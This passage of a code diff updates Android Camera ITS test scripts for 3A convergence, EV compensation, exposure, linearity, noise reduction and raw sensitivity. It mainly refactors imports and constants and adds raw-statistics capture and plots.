+GAIN_LENGTH = 4
+TRANSFORM_LENGTH = 9
+GREEN_GAIN = 1.0
+GREEN_GAIN_TOL = 0.05
+SINGLE_A = {'ae': [True, False, True], 'af': [False, True, True],
+            'full_3a': [True, True, True]}  # note no AWB solo
+
+
+def main():
+    """Basic test for bring-up of 3A.
+
+    To pass, 3A must converge. Check that the returned 3A values are legal.
+    """
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.read_3a(props))
+
+        for k, v in sorted(SINGLE_A.items()):
+            print k
+            try:
+                s, e, g, xform, fd = cam.do_3a(get_results=True,
+                                               do_ae=v[0],
+                                               do_af=v[1],
+                                               do_awb=v[2])
+                print ' sensitivity', s, 'exposure', e
+                print ' gains', g, 'transform', xform
+                print ' fd', fd
+                print ''
+            except its.error.Error:
+                print ' FAIL\n'
+            if k == 'full_3a':
+                assert s > 0
+                assert e > 0
+                assert len(g) == 4
+                assert len(xform) == 9
+                assert fd >= 0
+                assert numpy.isclose(g[2], GREEN_GAIN, GREEN_GAIN_TOL)
+
+if __name__ == '__main__':
+    main()
+
diff --git a/apps/CameraITS/tests/scene1/test_black_white.py b/apps/CameraITS/tests/scene1/test_black_white.py
index e2de71e..18bc001 100644
--- a/apps/CameraITS/tests/scene1/test_black_white.py
+++ b/apps/CameraITS/tests/scene1/test_black_white.py
@@ -16,7 +16,7 @@
 import its.caps
 import its.device
 import its.objects
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index b7ba0e8..02bce79 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -17,7 +17,7 @@
 import its.objects
 import its.image
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py
index d355cd8..a3605f6 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py
@@ -17,7 +17,7 @@
 import its.caps
 import its.objects
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 import numpy
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
index 9992667..4473bc7 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
@@ -12,29 +12,27 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import os.path
+
 import its.caps
 import its.device
+import its.image
 import its.objects
-import os.path
-import pylab
 import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
 import numpy as np
 
-#AE must converge within this number of auto requests for EV
-THRESH_CONVERGE_FOR_EV = 8
+NAME = os.path.basename(__file__).split('.')[0]
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num
 YUV_FULL_SCALE = 255.0
 YUV_SATURATION_MIN = 253.0
 YUV_SATURATION_TOL = 1.0
 
 
 def main():
-    """Tests that EV compensation is applied.
-    """
-    LOCKED = 3
-
-    NAME = os.path.basename(__file__).split(".")[0]
+    """Tests that EV compensation is applied."""
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -50,7 +48,7 @@
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
         ev_per_step = its.objects.rational_to_float(
-                props['android.control.aeCompensationStep'])
+            props['android.control.aeCompensationStep'])
         steps_per_ev = int(1.0 / ev_per_step)
         evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
         lumas = []
@@ -64,31 +62,37 @@
         cam.do_3a(ev_comp=0, lock_ae=True, do_af=False)
 
         for ev in evs:
-
             # Capture a single shot with the same EV comp and locked AE.
             req = its.objects.auto_capture_request()
             req['android.control.aeExposureCompensation'] = ev
-            req["android.control.aeLock"] = True
+            req['android.control.aeLock'] = True
             caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
-            for cap in caps:
-                if (cap['metadata']['android.control.aeState'] == LOCKED):
+            luma_locked = []
+            for i, cap in enumerate(caps):
+                if cap['metadata']['android.control.aeState'] == LOCKED:
                     y = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(y, 0.45,0.45,0.1,0.1)
-                    lumas.append(its.image.compute_image_means(tile)[0])
-                    rgb = its.image.convert_capture_to_rgb_image(cap)
-                    rgb_tile = its.image.get_image_patch(rgb,
-                                                       0.45, 0.45, 0.1, 0.1)
-                    rgb_means = its.image.compute_image_means(rgb_tile)
-                    reds.append(rgb_means[0])
-                    greens.append(rgb_means[1])
-                    blues.append(rgb_means[2])
-                    break
-            assert(cap['metadata']['android.control.aeState'] == LOCKED)
+                    tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
+                    luma = its.image.compute_image_means(tile)[0]
+                    luma_locked.append(luma)
+                    if i == THRESH_CONVERGE_FOR_EV-1:
+                        lumas.append(luma)
+                        rgb = its.image.convert_capture_to_rgb_image(cap)
+                        rgb_tile = its.image.get_image_patch(rgb,
+                                                             0.45, 0.45,
+                                                             0.1, 0.1)
+                        rgb_means = its.image.compute_image_means(rgb_tile)
+                        reds.append(rgb_means[0])
+                        greens.append(rgb_means[1])
+                        blues.append(rgb_means[2])
+                        print 'lumas in AE locked captures: ', luma_locked
+                        assert np.isclose(min(luma_locked), max(luma_locked),
+                                          rtol=LUMA_LOCKED_TOL)
+            assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
 
         pylab.plot(evs, lumas, '-ro')
         pylab.xlabel('EV Compensation')
         pylab.ylabel('Mean Luma (Normalized)')
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
 
         # Trim extra saturated images
         while lumas and lumas[-1] >= YUV_SATURATION_MIN/YUV_FULL_SCALE:
@@ -104,13 +108,13 @@
             else:
                 break
         # Only allow positive EVs to give saturated image
-        assert(len(lumas) > 2)
+        assert len(lumas) > 2
         luma_diffs = np.diff(lumas)
         min_luma_diffs = min(luma_diffs)
-        print "Min of the luma value difference between adjacent ev comp: ", \
-                min_luma_diffs
+        print 'Min of the luma value difference between adjacent ev comp: ',
+        print min_luma_diffs
         # All luma brightness should be increasing with increasing ev comp.
-        assert(min_luma_diffs > 0)
+        assert min_luma_diffs > 0
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
index 26e3f4d..ec41bcd 100644
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_exposure.py
@@ -12,16 +12,36 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import os.path
+
 import its.caps
 import its.device
+import its.image
 import its.objects
 import its.target
-import pylab
-import numpy
-import os.path
 import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
+import numpy
+
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.basename(__file__).split('.')[0]
+THRESHOLD_MAX_OUTLIER_DIFF = 0.1
+THRESHOLD_MIN_LEVEL = 0.1
+THRESHOLD_MAX_LEVEL = 0.9
+THRESHOLD_MAX_LEVEL_DIFF = 0.045
+THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+THRESHOLD_ROUND_DOWN_GAIN = 0.1
+THRESHOLD_ROUND_DOWN_EXP = 0.05
+
+
+def get_raw_active_array_size(props):
+    """Return the active array w, h from props."""
+    aaw = (props['android.sensor.info.activeArraySize']['right'] -
+           props['android.sensor.info.activeArraySize']['left'])
+    aah = (props['android.sensor.info.activeArraySize']['bottom'] -
+           props['android.sensor.info.activeArraySize']['top'])
+    return aaw, aah
+
 
 def main():
     """Test that a constant exposure is seen as ISO and exposure time vary.
@@ -30,20 +50,14 @@
     each other; result should be the same brightness, but over the sequence
     the images should get noisier.
     """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    THRESHOLD_MAX_OUTLIER_DIFF = 0.1
-    THRESHOLD_MIN_LEVEL = 0.1
-    THRESHOLD_MAX_LEVEL = 0.9
-    THRESHOLD_MAX_LEVEL_DIFF = 0.045
-    THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
-    THRESHOLD_ROUND_DOWN_GAIN = 0.1
-    THRESHOLD_ROUND_DOWN_EXP = 0.05
-
     mults = []
     r_means = []
     g_means = []
     b_means = []
+    raw_r_means = []
+    raw_gr_means = []
+    raw_gb_means = []
+    raw_b_means = []
     threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
 
     with its.device.ItsSession() as cam:
@@ -51,6 +65,11 @@
         its.caps.skip_unless(its.caps.compute_target_exposure(props) and
                              its.caps.per_frame_control(props))
 
+        process_raw = (its.caps.compute_target_exposure(props) and
+                       its.caps.per_frame_control(props) and
+                       its.caps.raw16(props) and
+                       its.caps.manual_sensor(props))
+
         debug = its.caps.debug_mode()
         largest_yuv = its.objects.get_largest_yuv_format(props)
         if debug:
@@ -59,7 +78,7 @@
             match_ar = (largest_yuv['width'], largest_yuv['height'])
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
-        e,s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
+        e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
         s_e_product = s*e
         expt_range = props['android.sensor.info.exposureTimeRange']
         sens_range = props['android.sensor.info.sensitivityRange']
@@ -69,38 +88,72 @@
             mults.append(m)
             s_test = round(s*m)
             e_test = s_e_product / s_test
-            print "Testing s:", s_test, "e:", e_test
+            print 'Testing s:', s_test, 'e:', e_test
             req = its.objects.manual_capture_request(
-                    s_test, e_test, 0.0, True, props)
+                s_test, e_test, 0.0, True, props)
             cap = cam.do_capture(req, fmt)
-            s_res = cap["metadata"]["android.sensor.sensitivity"]
-            e_res = cap["metadata"]["android.sensor.exposureTime"]
-            assert(0 <= s_test - s_res < s_test * THRESHOLD_ROUND_DOWN_GAIN)
-            assert(0 <= e_test - e_res < e_test * THRESHOLD_ROUND_DOWN_EXP)
+            s_res = cap['metadata']['android.sensor.sensitivity']
+            e_res = cap['metadata']['android.sensor.exposureTime']
+            assert 0 <= s_test - s_res < s_test * THRESHOLD_ROUND_DOWN_GAIN
+            assert 0 <= e_test - e_res < e_test * THRESHOLD_ROUND_DOWN_EXP
             s_e_product_res = s_res * e_res
             request_result_ratio = s_e_product / s_e_product_res
-            print "Capture result s:", s_test, "e:", e_test
+            print 'Capture result s:', s_test, 'e:', e_test
             img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, "%s_mult=%3.2f.jpg" % (NAME, m))
+            its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
             tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
             rgb_means = its.image.compute_image_means(tile)
             # Adjust for the difference between request and result
             r_means.append(rgb_means[0] * request_result_ratio)
             g_means.append(rgb_means[1] * request_result_ratio)
             b_means.append(rgb_means[2] * request_result_ratio)
+            # do same in RAW space if possible
+            if process_raw and debug:
+                aaw, aah = get_raw_active_array_size(props)
+                raw_cap = cam.do_capture(req,
+                                         {'format': 'rawStats',
+                                          'gridWidth': aaw/IMG_STATS_GRID,
+                                          'gridHeight': aah/IMG_STATS_GRID})
+                r, gr, gb, b = its.image.convert_capture_to_planes(raw_cap,
+                                                                   props)
+                raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                   * request_result_ratio)
+                raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                    * request_result_ratio)
+                raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                    * request_result_ratio)
+                raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                   * request_result_ratio)
             # Test 3 steps per 2x gain
-            m = m * pow(2, 1.0 / 3)
+            m *= pow(2, 1.0 / 3)
 
         # Allow more threshold for devices with wider exposure range
         if m >= 64.0:
             threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
 
-    # Draw a plot.
-    pylab.plot(mults, r_means, 'r.-')
-    pylab.plot(mults, g_means, 'g.-')
-    pylab.plot(mults, b_means, 'b.-')
-    pylab.ylim([0,1])
-    matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+    # Draw plots
+    pylab.figure('rgb data')
+    pylab.plot(mults, r_means, 'ro-')
+    pylab.plot(mults, g_means, 'go-')
+    pylab.plot(mults, b_means, 'bo-')
+    pylab.title(NAME + 'RGB Data')
+    pylab.xlabel('Gain Multiplier')
+    pylab.ylabel('Normalized RGB Plane Avg')
+    pylab.ylim([0, 1])
+    matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+
+    if process_raw and debug:
+        pylab.figure('raw data')
+        pylab.plot(mults, raw_r_means, 'ro-', label='R')
+        pylab.plot(mults, raw_gr_means, 'go-', label='GR')
+        pylab.plot(mults, raw_gb_means, 'ko-', label='GB')
+        pylab.plot(mults, raw_b_means, 'bo-', label='B')
+        pylab.title(NAME + 'RAW Data')
+        pylab.xlabel('Gain Multiplier')
+        pylab.ylabel('Normalized RAW Plane Avg')
+        pylab.ylim([0, 1])
+        pylab.legend(numpoints=1)
+        matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
 
     # Check for linearity. Verify sample pixel mean values are close to each
     # other. Also ensure that the images aren't clamped to 0 or 1
@@ -111,13 +164,29 @@
         max_val = max(values)
         min_val = min(values)
         max_diff = max_val - min_val
-        print "Channel %d line fit (y = mx+b): m = %f, b = %f" % (chan, m, b)
-        print "Channel max %f min %f diff %f" % (max_val, min_val, max_diff)
-        assert(max_diff < threshold_max_level_diff)
-        assert(b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL)
+        print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
+        print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
+        assert max_diff < threshold_max_level_diff
+        assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
         for v in values:
-            assert(v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL)
-            assert(abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF)
+            assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
+            assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
+    if process_raw and debug:
+        for chan in xrange(4):
+            values = [raw_r_means, raw_gr_means, raw_gb_means,
+                      raw_b_means][chan]
+            m, b = numpy.polyfit(mults, values, 1).tolist()
+            max_val = max(values)
+            min_val = min(values)
+            max_diff = max_val - min_val
+            print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan,
+                                                                      m, b)
+            print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
+            assert max_diff < threshold_max_level_diff
+            assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
+            for v in values:
+                assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
+                assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene1/test_latching.py b/apps/CameraITS/tests/scene1/test_latching.py
index 6e42c23..79f0f1a 100644
--- a/apps/CameraITS/tests/scene1/test_latching.py
+++ b/apps/CameraITS/tests/scene1/test_latching.py
@@ -17,7 +17,7 @@
 import its.device
 import its.objects
 import its.target
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene1/test_linearity.py b/apps/CameraITS/tests/scene1/test_linearity.py
index 9de1af3..35068a8 100644
--- a/apps/CameraITS/tests/scene1/test_linearity.py
+++ b/apps/CameraITS/tests/scene1/test_linearity.py
@@ -19,11 +19,19 @@
 import its.target
 import numpy
 import math
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
 
+NAME = os.path.basename(__file__).split('.')[0]
+RESIDUAL_THRESHOLD = 0.0003  # approximately each sample is off by 2/255
+# The HAL3.2 spec requires that curves up to 64 control points in length
+# must be supported.
+L = 64
+LM1 = float(L-1)
+
+
 def main():
     """Test that device processing can be inverted to linear pixels.
 
@@ -31,19 +39,10 @@
     target. Attempts to invert all the ISP processing to get back to
     linear R,G,B pixel data.
     """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    RESIDUAL_THRESHOLD = 0.0003 # approximately each sample is off by 2/255
-
-    # The HAL3.2 spec requires that curves up to 64 control points in length
-    # must be supported.
-    L = 64
-    LM1 = float(L-1)
-
     gamma_lut = numpy.array(
-            sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
+        sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
     inv_gamma_lut = numpy.array(
-            sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
+        sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -63,14 +62,14 @@
         sens_range = props['android.sensor.info.sensitivityRange']
         sensitivities = [s*1.0/3.0, s*2.0/3.0, s, s*4.0/3.0, s*5.0/3.0]
         sensitivities = [s for s in sensitivities
-                if s > sens_range[0] and s < sens_range[1]]
+                         if s > sens_range[0] and s < sens_range[1]]
 
         req = its.objects.manual_capture_request(0, e)
-        req["android.blackLevel.lock"] = True
-        req["android.tonemap.mode"] = 0
-        req["android.tonemap.curveRed"] = gamma_lut.tolist()
-        req["android.tonemap.curveGreen"] = gamma_lut.tolist()
-        req["android.tonemap.curveBlue"] = gamma_lut.tolist()
+        req['android.blackLevel.lock'] = True
+        req['android.tonemap.mode'] = 0
+        req['android.tonemap.curveRed'] = gamma_lut.tolist()
+        req['android.tonemap.curveGreen'] = gamma_lut.tolist()
+        req['android.tonemap.curveBlue'] = gamma_lut.tolist()
 
         r_means = []
         g_means = []
@@ -81,7 +80,7 @@
             cap = cam.do_capture(req, fmt)
             img = its.image.convert_capture_to_rgb_image(cap)
             its.image.write_image(
-                    img, "%s_sens=%04d.jpg" % (NAME, sens))
+                img, '%s_sens=%04d.jpg' % (NAME, sens))
             img = its.image.apply_lut_to_image(img, inv_gamma_lut[1::2] * LM1)
             tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
             rgb_means = its.image.compute_image_means(tile)
@@ -89,17 +88,22 @@
             g_means.append(rgb_means[1])
             b_means.append(rgb_means[2])
 
-        pylab.plot(sensitivities, r_means, 'r')
-        pylab.plot(sensitivities, g_means, 'g')
-        pylab.plot(sensitivities, b_means, 'b')
-        pylab.ylim([0,1])
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+        pylab.title(NAME)
+        pylab.plot(sensitivities, r_means, '-ro')
+        pylab.plot(sensitivities, g_means, '-go')
+        pylab.plot(sensitivities, b_means, '-bo')
+        pylab.xlim([sens_range[0], sens_range[1]/2])
+        pylab.ylim([0, 1])
+        pylab.xlabel('sensitivity(ISO)')
+        pylab.ylabel('RGB avg [0, 1]')
+        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
 
         # Check that each plot is actually linear.
         for means in [r_means, g_means, b_means]:
-            line,residuals,_,_,_  = numpy.polyfit(range(5),means,1,full=True)
-            print "Line: m=%f, b=%f, resid=%f"%(line[0], line[1], residuals[0])
-            assert(residuals[0] < RESIDUAL_THRESHOLD)
+            line, residuals, _, _, _ = numpy.polyfit(range(len(sensitivities)),
+                                                     means, 1, full=True)
+            print 'Line: m=%f, b=%f, resid=%f'%(line[0], line[1], residuals[0])
+            assert residuals[0] < RESIDUAL_THRESHOLD
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene1/test_locked_burst.py b/apps/CameraITS/tests/scene1/test_locked_burst.py
index 5308010..47a0186 100644
--- a/apps/CameraITS/tests/scene1/test_locked_burst.py
+++ b/apps/CameraITS/tests/scene1/test_locked_burst.py
@@ -18,7 +18,7 @@
 import its.caps
 import os.path
 import numpy
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 
diff --git a/apps/CameraITS/tests/scene1/test_param_color_correction.py b/apps/CameraITS/tests/scene1/test_param_color_correction.py
index 4ce8933..3dac3f5 100644
--- a/apps/CameraITS/tests/scene1/test_param_color_correction.py
+++ b/apps/CameraITS/tests/scene1/test_param_color_correction.py
@@ -17,7 +17,7 @@
 import its.device
 import its.objects
 import its.target
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene1/test_param_exposure_time.py b/apps/CameraITS/tests/scene1/test_param_exposure_time.py
index fafde9d..90ad0b6 100644
--- a/apps/CameraITS/tests/scene1/test_param_exposure_time.py
+++ b/apps/CameraITS/tests/scene1/test_param_exposure_time.py
@@ -17,7 +17,7 @@
 import its.device
 import its.objects
 import its.target
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene1/test_param_noise_reduction.py b/apps/CameraITS/tests/scene1/test_param_noise_reduction.py
index 1072684..00dddc2 100644
--- a/apps/CameraITS/tests/scene1/test_param_noise_reduction.py
+++ b/apps/CameraITS/tests/scene1/test_param_noise_reduction.py
@@ -21,7 +21,10 @@
 import matplotlib.pyplot
 import numpy
 import os.path
-import pylab
+from matplotlib import pylab
+
+NR_MODES = [0, 1, 2, 3, 4]  # NR modes 0, 1, 2, 3, 4 with high gain
+
 
 def main():
     """Test that the android.noiseReduction.mode param is applied when set.
@@ -65,14 +68,14 @@
         print "Ref SNRs:", ref_snr
 
         e, s = its.target.get_target_exposure_combos(cam)["maxSensitivity"]
-        # NR modes 0, 1, 2, 3, 4 with high gain
-        for mode in range(5):
+
+        for mode in NR_MODES:
             # Skip unavailable modes
             if not its.caps.noise_reduction_mode(props, mode):
                 nr_modes_reported.append(mode)
                 for channel in range(3):
                     snrs[channel].append(0)
-                continue;
+                continue
 
             rgb_snr_list = []
             # Capture several images to account for per frame noise variations
@@ -109,10 +112,13 @@
 
     # Draw a plot.
     for j in range(3):
-        pylab.plot(range(5), snrs[j], "rgb"[j])
+        pylab.plot(NR_MODES, snrs[j], "-"+"rgb"[j]+"o")
+    pylab.xlabel("Noise Reduction Mode")
+    pylab.ylabel("SNR (dB)")
+    pylab.xticks(NR_MODES)
     matplotlib.pyplot.savefig("%s_plot_SNRs.png" % (NAME))
 
-    assert(nr_modes_reported == [0,1,2,3,4])
+    assert nr_modes_reported == NR_MODES
 
     for j in range(3):
         # Larger SNR is better
diff --git a/apps/CameraITS/tests/scene1/test_param_sensitivity.py b/apps/CameraITS/tests/scene1/test_param_sensitivity.py
index 32b764d..0d40042 100644
--- a/apps/CameraITS/tests/scene1/test_param_sensitivity.py
+++ b/apps/CameraITS/tests/scene1/test_param_sensitivity.py
@@ -17,7 +17,7 @@
 import its.device
 import its.objects
 import its.target
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene1/test_param_shading_mode.py b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
index c945791..f4c2b99 100644
--- a/apps/CameraITS/tests/scene1/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
@@ -20,7 +20,7 @@
 import numpy
 import os
 import os.path
-import pylab
+from matplotlib import pylab
 
 def main():
     """Test that the android.shading.mode param is applied.
diff --git a/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py b/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py
index 61b431c..70b1927 100644
--- a/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py
+++ b/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py
@@ -18,7 +18,7 @@
 import its.objects
 import its.target
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 
diff --git a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
index 1d2a6b1..053f7ca 100644
--- a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
+++ b/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
@@ -17,22 +17,21 @@
 import its.objects
 import its.image
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
-import matplotlib.pyplot
+
+GR_PLANE = 1  # GR plane index in RGGB data
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.basename(__file__).split(".")[0]
+NUM_STEPS = 5
+VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
+
 
 def main():
     """Capture a set of raw images with increasing gains and measure the noise.
 
     Capture raw-only, in a burst.
     """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    # Each shot must be 1% noisier (by the variance metric) than the previous
-    # one.
-    VAR_THRESH = 1.01
-
-    NUM_STEPS = 5
 
     with its.device.ItsSession() as cam:
 
@@ -41,13 +40,14 @@
                              its.caps.manual_sensor(props) and
                              its.caps.read_3a(props) and
                              its.caps.per_frame_control(props))
+        debug = its.caps.debug_mode()
 
         # Expose for the scene with min sensitivity
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+        sens_min, _ = props["android.sensor.info.sensitivityRange"]
         # Digital gains might not be visible on RAW data
-        sens_max = props['android.sensor.maxAnalogSensitivity']
+        sens_max = props["android.sensor.maxAnalogSensitivity"]
         sens_step = (sens_max - sens_min) / NUM_STEPS
-        s_ae,e_ae,_,_,f_dist  = cam.do_3a(get_results=True)
+        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
 
         reqs = []
@@ -56,32 +56,57 @@
             e = int(s_e_prod / float(s))
             req = its.objects.manual_capture_request(s, e, f_dist)
             reqs.append(req)
-            settings.append((s,e))
+            settings.append((s, e))
 
-        caps = cam.do_capture(reqs, cam.CAP_RAW)
+        if debug:
+            caps = cam.do_capture(reqs, cam.CAP_RAW)
+        else:
+            # Get the active array width and height.
+            aax = props["android.sensor.info.activeArraySize"]["left"]
+            aay = props["android.sensor.info.activeArraySize"]["top"]
+            aaw = props["android.sensor.info.activeArraySize"]["right"]-aax
+            aah = props["android.sensor.info.activeArraySize"]["bottom"]-aay
+            # Compute stats on a grid across each image.
+            caps = cam.do_capture(reqs,
+                                  {"format": "rawStats",
+                                   "gridWidth": aaw/IMG_STATS_GRID,
+                                   "gridHeight": aah/IMG_STATS_GRID})
 
         variances = []
-        for i,cap in enumerate(caps):
-            (s,e) = settings[i]
+        for i, cap in enumerate(caps):
+            (s, e) = settings[i]
 
-            # Measure the variance. Each shot should be noisier than the
-            # previous shot (as the gain is increasing).
-            plane = its.image.convert_capture_to_planes(cap, props)[1]
-            tile = its.image.get_image_patch(plane, 0.45,0.45,0.1,0.1)
-            var = its.image.compute_image_variances(tile)[0]
+            # Each shot should be noisier than the previous shot (as the gain
+            # is increasing). Use the variance of the center stats grid cell.
+            if debug:
+                gr = its.image.convert_capture_to_planes(cap, props)[1]
+                tile = its.image.get_image_patch(gr, 0.445, 0.445, 0.11, 0.11)
+                var = its.image.compute_image_variances(tile)[0]
+                img = its.image.convert_capture_to_rgb_image(cap, props=props)
+                its.image.write_image(img,
+                                      "%s_s=%05d_var=%f.jpg" % (NAME, s, var))
+            else:
+                # find white level
+                white_level = float(props["android.sensor.info.whiteLevel"])
+                _, var_image = its.image.unpack_rawstats_capture(cap)
+                cfa_idxs = its.image.get_canonical_cfa_order(props)
+                var = var_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2,
+                                cfa_idxs[GR_PLANE]]/white_level**2
             variances.append(var)
+            print "s=%d, e=%d, var=%e" % (s, e, var)
 
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-            its.image.write_image(img, "%s_s=%05d_var=%f.jpg" % (NAME,s,var))
-            print "s=%d, e=%d, var=%e"%(s,e,var)
-
-        pylab.plot(range(len(variances)), variances)
-        matplotlib.pyplot.savefig("%s_variances.png" % (NAME))
+        x = range(len(variances))
+        pylab.plot(x, variances, "-ro")
+        pylab.xticks(x)
+        pylab.xlabel("Setting Combination")
+        pylab.ylabel("Image Center Patch Variance")
+        matplotlib.pyplot.savefig("%s_variances.png" % NAME)
 
         # Test that each shot is noisier than the previous one.
-        for i in range(len(variances) - 1):
-            assert(variances[i] < variances[i+1] / VAR_THRESH)
+        x.pop()  # remove last element in x index
+        for i in x:
+            assert variances[i] < variances[i+1] / VAR_THRESH
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
 
diff --git a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
index e49ee34..6dac206 100644
--- a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
+++ b/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
@@ -17,20 +17,19 @@
 import its.objects
 import its.image
 import os.path
-import pylab
-import matplotlib
+from matplotlib import pylab
 import matplotlib.pyplot
 
